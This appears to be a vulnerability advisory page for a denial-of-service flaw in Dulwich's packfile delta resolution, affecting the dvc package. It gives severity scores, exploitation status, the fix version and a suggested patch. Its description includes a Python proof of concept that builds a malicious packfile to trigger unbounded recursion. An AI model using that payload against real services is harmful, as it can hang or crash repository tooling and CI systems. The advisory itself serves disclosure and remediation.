VulnerabilityPublished 4 Oct 2026Updated 29 Oct 2026

CVE-2026-114095: Dulwich · Infinite Loop Denial of Service (DoS) in Packfile Object Resolution

Affects dvcSource GCVE Database

Compare

Authoritative record:CVE-2026-114095· High 7.1

Not known to be exploited · CVSS 7.1 High : upgrade to 3.67.1_10 soon.

Data as of 30 Oct 2026, 06:59 UTC

CVSS 4.0 base score

7.1High

How severe the flaw is on the 0–10 CVSS scale.

EPSS: 0.3% chance of exploitation in 30 days – higher than 23% of CVEsExploit Prediction Scoring System: the likelihood attackers will use this flaw soon.
Patch: Available – fixed in 3.67.1_10

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

Attack Vector: Network
Attack Complexity: Low
Attack Requirements: None
Privileges Required: None
User Interaction: Passive
Vulnerable system confidentiality: None
Vulnerable system integrity: None
Vulnerable system availability: High
Subsequent system confidentiality: None
Subsequent system integrity: None
Subsequent system availability: None

Bold values are the worst case: easiest to exploit or largest impact.

Attack Vector: Network: The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).
Attack Complexity: Low: The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Attack Requirements: None: The successful attack does not depend on the deployment and execution conditions of the vulnerable system. The attacker can expect to be able to reach the vulnerability and execute the exploit under all or most instances of the vulnerability.
Privileges Required: None: The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction: Passive: Successful exploitation of this vulnerability requires limited interaction by the targeted user with the vulnerable system and the attacker’s payload. These interactions would be considered involuntary and do not require that the user actively subvert protections built into the vulnerable system.
Vulnerable system confidentiality: None: There is no loss of confidentiality within the Vulnerable System.
Vulnerable system integrity: None: There is no loss of integrity within the Vulnerable System.
Vulnerable system availability: High: There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the Vulnerable System; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the Vulnerable System (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).
Subsequent system confidentiality: None: There is no loss of confidentiality within the Subsequent System or all confidentiality impact is constrained to the Vulnerable System.
Subsequent system integrity: None: There is no loss of integrity within the Subsequent System or all integrity impact is constrained to the Vulnerable System.
Subsequent system availability: None: There is no impact to availability within the Subsequent System or all availability impact is constrained to the Vulnerable System.

Definitions: FIRST CVSS v4.0 specification.

Exploitation evidence

Disclosed: evidence found.
CVE published 21 Oct 2026
Detectable: no evidence on record.
No public nuclei template indexed
Weaponized: no evidence on record.
No public exploit code indexed in Metasploit or Exploit-DB
Exploited in the wildExploited: no evidence on record.
Not in CISA KEV and no source reports exploitation
Observed by OffSeq MirageSeen by Mirage: no evidence on record.
No attack traffic recorded by OffSeq Mirage sensors

A missing step is not evidence of safety. Sources: cve.org (opens in a new tab), the Metasploit, Exploit-DB and nuclei-templates index as of 29 Oct 2026.

Disclosed: The CVE record is public on cve.org. Its publication is t = 0.
Detectable: A public nuclei template can find exposed instances, for defenders and attackers alike.
Weaponized: A Metasploit exploit module or Exploit-DB entry exists (Metasploit scanner modules do not count), or CISA SSVC or the CVSS exploit maturity reports a public proof of concept.
Exploited in the wild: CISA KEV lists it, CISA SSVC rates exploitation active, or a source reports attacks.
Observed by OffSeq Mirage: OffSeq Mirage honeypot sensors recorded attack traffic for this CVE, or found exposed hosts without attack traffic.

Moments are spaced evenly, not to scale; a dashed line marks a gap of six months or more. Deltas count from t = 0. Sources that give only a date (CISA KEV, Exploit-DB, or a time of exactly 00:00Z) read “same day” rather than hours. Metasploit modules carry the flaw’s disclosure date, not their release date, and nuclei templates carry no date, so both appear above but not on the timeline.

What to do

Upgrade dvc to 3.67.1_10.

Affected software

Product	Affected	Fixed in
Homebrewdvc`pkg:brew/dvc`Other threats	Affected >=1.10.1 <3.67.1_10	Fixed in 3.67.1_10

Check your own hosts for these packages with threat-finder (opens in a new tab), our free open-source scanner.

Description

### Affected file * `dulwich/pack.py` (Method: `Pack.resolve_object`) ### Description / Summary A High-severity Denial of Service (DoS) vulnerability exists in the `Pack.resolve_object` method. When resolving an `OFS_DELTA` object, the resolver calculates the base offset using `base_offset = obj_offset - delta_offset`. If a malicious packfile contains an `OFS_DELTA` object where `delta_offset` is `0`, the calculation `obj_offset - 0` resolves back to the current object's own offset. Because the implementation lacks a depth counter, a "visited" set, or an explicit rejection of `delta_offset == 0`, the resolver enters an infinite recursive loop, exhausting CPU resources and eventually crashing the process. **Vulnerable Code Breakdown (`dulwich/pack.py`):** ```python elif obj_type == OFS_DELTA: delta_offset = parse_pack_object_offset_at(...) base_offset = obj_offset - delta_offset # VULNERABILITY: Self-reference if delta_offset == 0 base_type, base_data = self.resolve_object(...) # VULNERABILITY: Infinite recursion ``` ### Potential impact An attacker can trigger this infinite loop via any operation that walks packfiles (e.g., `dulwich clone`, `fetch`, `cat-file`, or internal `Pack.__getitem__` lookups). 1. **CPU Exhaustion:** The process will spin at 100% CPU indefinitely. 2. **Denial of Service:** Any service using `dulwich` (web interfaces, CI/CD runners) will hang or crash, preventing legitimate repository access. 3. **Protocol Incompatibility:** This behavior violates the Git packfile specification. The standard `git` C client explicitly guards against this: `if (!base_offset) die("delta offset == 0 is invalid");`. ### POC (Proof of Concept) The following Python script generates a 44-byte packfile that triggers the loop: ```python from dulwich.pack import Pack import struct, zlib, tempfile, os # Build a single OFS_DELTA entry whose delta_offset is 0 type_ofs_delta = 6 header = bytes([(type_ofs_delta << 4) | 0]) ofs_bytes = bytes([0x00]) # delta_offset = 0 body = zlib.compress(b'') raw = header + ofs_bytes + body pack = b'PACK' + struct.pack('>I', 2) + struct.pack('>I', 1) + raw + (b'\x00' * 20) fd, path = tempfile.mkstemp(suffix='.pack') os.write(fd, pack); os.close(fd) # Trigger: This call never returns and spins at 100% CPU p = Pack(path) obj = p[list(p.iterobjects())[0]] ``` ### Possible solution 1. **Explicit Guard:** Add a check in `Pack.resolve_object` to reject `delta_offset == 0`: ```python if delta_offset == 0: raise CorruptPacksFile("OFS_DELTA has self-referential delta_offset=0") ``` 2. **Recursion Depth:** Implement a depth limit (e.g., `MAX_DELTA_DEPTH = 50`) to prevent long, non-looping chains of deltas (OFS or REF).

References

Community reviews

Loading reviews…